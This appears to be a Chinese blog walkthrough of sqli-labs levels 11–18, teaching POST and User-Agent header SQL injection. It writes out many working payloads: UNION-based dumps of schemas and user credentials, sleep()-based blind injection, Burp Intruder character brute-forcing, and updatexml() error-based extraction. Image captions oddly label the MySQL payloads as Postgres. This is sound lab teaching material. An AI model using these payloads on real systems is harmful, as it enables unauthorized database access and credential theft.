文章目录

  • sql-lab 11
  • 获取字段数
  • 查询第一个数据库
  • 获取表名(查取security为例)
  • 获取列名
  • 获取字段信息
  • sql-lab 12
  • sql-lab 13
  • sql-lab 14
  • sql-lab 15
  • 知识扩充:
  • sql-lab 17
  • 获取表名
  • 获取表名
  • 获取列名
  • 获取字段信息
  • sql-lab 18
  • 查询数据库名
  • 查询表名
  • 查询列名
  • 查询字段信息



学习post注入,首先需要知道post传递,post与get注入明显区别在于,get在执行命令后在url中可以看出变化,而post则是在后台才可以看见,在url中发现不了变化,具体讲解可以看大佬的详细解释

sql-lab 11

观察11关,是以post形式进行注入

在靶场中输入admin获取正确信息,然后打开代理,与burpsuite连接,得到post方式的信息

输入到hackbar中post方式下

postgres注入语句 post注入原理_postgres注入语句


在get方式中,注释方法为–+,而在post方式中,注释方法为#

我们观察用户名和密码包裹方式都是一对单引号包裹,我们在uname后加上’即可注入

获取字段数

代码:

uname=n' order by 3 #&passwd=admin&submit=Submit

postgres注入语句 post注入原理_字段_02


显示字段3不存在,接下来试试2

代码:

uname=n' order by 2 #&passwd=admin&submit=Submit

postgres注入语句 post注入原理_字段_03


虽然仍显示登录失败,但是并未说字段2不存在,所以字段数为2

绕过型注入

代码:

uname=n' or 1=1#&passwd=admin&submit=Submit

postgres注入语句 post注入原理_postgres注入语句_04


使用联合查询

代码:

uname=n' union select 1,2#&passwd=admin&submit=Submit

postgres注入语句 post注入原理_postgres注入语句_05


查询当前数据库

代码:

uname=n' union select 1,database()#&passwd=admin&submit=Submit

postgres注入语句 post注入原理_postgres注入语句_06

查询第一个数据库

代码:

uname=n' union select 1,schema_name from information_schema.schemata #&passwd=admin&submit=Submit

postgres注入语句 post注入原理_sql_07


获取第二个(limit函数)

代码:

uname=n' union select 1,schema_name from information_schema.schemata limit 1,1 #&passwd=admin&submit=Submit

postgres注入语句 post注入原理_表名_08


法二:获取数据库(利用group_concat函数)

代码:

uname=n' union select 1,group_concat(schema_name) from information_schema.schemata  #&passwd=admin&submit=Submit

postgres注入语句 post注入原理_web安全_09

获取表名(查取security为例)

代码:

uname=n' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'  #&passwd=admin&submit=Submit

postgres注入语句 post注入原理_postgres注入语句_10

获取列名

代码:

uname=n' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'  #&passwd=admin&submit=Submit

postgres注入语句 post注入原理_字段_11

获取字段信息

代码:

uname=n' union select 1,group_concat(id,password,username) from security.users  #&passwd=admin&submit=Submit

postgres注入语句 post注入原理_字段_12


由于过乱,所以我们采用另一个函数concat_ws来将内容进行分割(0x7e是~的十六进制表示)

代码:

uname=n' union select 1,group_concat(0x7e,id,username,password) from security.users#&passwd=admin&submit=Submit

postgres注入语句 post注入原理_表名_13

sql-lab 12

猜解包裹方式
方式无外乎这几种:
1、’
2、‘)
3、‘))
4、“
5、“)
6、“))
一一代入即可获取答案
十二关与十一关区别只有包裹方式不同,其他cv进去即可得到答案

sql-lab 13

首先猜测包裹方式

一一判断后发现包裹方式为’),所以我们在uname后加上’)再进行注释,利用union

Select 时我们发现没有回显

postgres注入语句 post注入原理_字段_14


说明正确时只能显示登录成功,所以我们只能使用盲注

法一:运用sleep函数

判断数据库长度

代码:

uname=n') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit

postgres注入语句 post注入原理_字段_15


为了确定句子是否正确,我们可以来输入长度为10(已知长度为8)进行验证

postgres注入语句 post注入原理_web安全_16


法二:left函数

判断第一个数据库名的首字母

代码:

uname=n') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit

postgres注入语句 post注入原理_postgres注入语句_17


此时也可使用burpsuite来破解

操作如下:

打开网站代理,开启burpsuite获取信息

postgres注入语句 post注入原理_字段_18


发送至爆破模块

postgres注入语句 post注入原理_表名_19


清除变量,并将a设置为变量

postgres注入语句 post注入原理_字段_20


选择暴力破解,删去数字,最大值与最小值都设置为1

postgres注入语句 post注入原理_字段_21


线程改为30

postgres注入语句 post注入原理_sql_22


点击开始攻击

postgres注入语句 post注入原理_sql_23


此时看出i与其他不同,为了进一步确定第一个字母是i,我们可以来看输出的图片

postgres注入语句 post注入原理_表名_24


成功登陆为flag.php,我们观察下面图片的第一行最后插入的图片名为flag.php

postgres注入语句 post注入原理_表名_25


说明成功注入,也可以利用burpsuite的render来看是否注入成功

postgres注入语句 post注入原理_postgres注入语句_26


显示成功登陆,说明注入成功,第二个猜解依旧与此相同

判断表名
首先判断长度

再判断首字母
代码:

uname=n') or left((select table_name from information_schema.tables where table_schema='test' limit 0,1),1)='a'#&passwd=admin&submit=Submit

打开网站代理,使得burpsuite获取信息

发送至爆破模块

postgres注入语句 post注入原理_表名_27


清楚变量,将a变成变量

postgres注入语句 post注入原理_字段_28


选择暴力破解,去掉数字,将最大值和最小值都改成1

postgres注入语句 post注入原理_web安全_29


线程改为30

postgres注入语句 post注入原理_字段_30


开始攻击

postgres注入语句 post注入原理_表名_31


后面与此类似

sql-lab 14

查看第十四关

唯一不同点在于包裹方式不同,其他都相同(注入成功无回显,只有成功登录)

postgres注入语句 post注入原理_字段_32

sql-lab 15

查看第十五关

postgres注入语句 post注入原理_postgres注入语句_33


与前两关区别在于包裹方式为’,其他无任何不同

知识扩充:

Xpath函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
1 updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
1 ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

sql-lab 17

首先添加四段语句(便于小白学习)

上面的echo $sql和echo”</ br>”也是

postgres注入语句 post注入原理_web安全_34


postgres注入语句 post注入原理_postgres注入语句_35


发现username输入错误时候会报错,而password输入则会重置,因此我们必须知道用户的用户名才能注入

观察十七关,发现在unname中注入会被转义,所以我们选择在passwd中进行注入

postgres注入语句 post注入原理_postgres注入语句_36


此时采用xpath函数来破解

示例:

获取表名

代码:

uname=admin &passwd=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit

postgres注入语句 post注入原理_字段_37

获取表名

代码:

uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) #&submit=Submit

postgres注入语句 post注入原理_表名_38

获取列名

uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)),1) #&submit=Submit

获取字段信息

代码

uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select email_id from security.emails limit 0,1)),1) #&submit=Submit

postgres注入语句 post注入原理_web安全_39


获取其他与此操作相似,不再重复

sql-lab 18

观察题目并进行测试

发现执行正确时会报出user-agent和本机地址

错误时只报出本机地址

postgres注入语句 post注入原理_字段_40


而且我们发现在unname和passwd中进行注入时发现’被转义,所以不能使用这两个来进行注入,这时候只有user -agent 有回显,所以我们可以用user-agent来进行报错注入,首先用burpsuite抓包,然后发送到repeat模块,然后将user-agent内容改为 ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1,点击Go运行,查看结果,报出了当前数据库security

postgres注入语句 post注入原理_sql_41


前面的’和后面1的’需要看情况,如果user-agent是用双引号包裹的那就需要改成双引号,遇到题时一一测试即可,关于最后为什么不用加注释符,原因是后面还要其它内容要插入,你用注释符后面就注释掉了,无法正常插入。

简单的理解就是user-agent执行后后面还有很多语句要执行,如果加个注释符,后面的就无法执行了(注释符:可以理解为#是把后面所有东西都注释了)

查询数据库名

User-Agent:' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1) or '1'='1

postgres注入语句 post注入原理_字段_42

查询表名

User-Agent: ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) or '1'='1

postgres注入语句 post注入原理_sql_43

查询列名

User-Agent: ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1) or '1'='1

postgres注入语句 post注入原理_字段_44

查询字段信息

User-Agent: ' and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1) or '1'='1

postgres注入语句 post注入原理_postgres注入语句_45